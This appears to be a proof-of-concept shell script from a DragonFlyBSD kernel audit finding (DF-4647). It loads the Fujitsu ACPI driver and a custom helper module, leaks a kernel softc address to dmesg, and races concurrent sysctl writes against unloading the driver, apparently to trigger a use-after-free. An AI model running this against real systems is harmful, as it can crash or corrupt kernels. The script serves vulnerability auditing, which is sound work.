⬢ DragonFlyBSD Kernel Audit
DF-4647 / df4647final.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-4647 final evidence run (persistent log, timestamped).
L=/root/df4647_run.log
: > $L
ts() { date +%s; }
kldload acpi_fujitsu 2>/dev/null
kldload /root/bang/fujibang.ko 2>/dev/null
sleep 1
sysctl hw.fujibang.action=3 >/dev/null 2>&1   # record softc addr in dmesg
echo "T0=$(ts) rig start" >> $L

( echo "A_START=$(ts)" >> $L; sysctl -w hw.acpi.fujitsu.volume=7 > /root/A.log 2>&1; echo "A_DONE=$(ts) rc=$?" >> $L ) &
sleep 1
( echo "B_START=$(ts)" >> $L; sysctl -w hw.acpi.fujitsu.lcd_brightness=5 > /root/B.log 2>&1; echo "B_DONE=$(ts) rc=$?" >> $L ) &
sleep 1

echo "T_UNLOAD_START=$(ts)" >> $L
kldunload acpi_fujitsu >> $L 2>&1
echo "T_UNLOAD_DONE=$(ts) rc=$? module_gone=$(kldstat | grep -c fujitsu)" >> $L

echo "T_FLOOD=$(ts)" >> $L
for i in 1 2 3 4 5 6; do sysctl hw.fujibang.action=2 >/dev/null 2>&1 & done
wait
echo "T_FLOOD_DONE=$(ts)" >> $L

sleep 10
echo "A log: $(grep -a volume /root/A.log)" >> $L
echo "B log: $(grep -a brightness /root/B.log)" >> $L
echo "T_END=$(ts)" >> $L
cat $L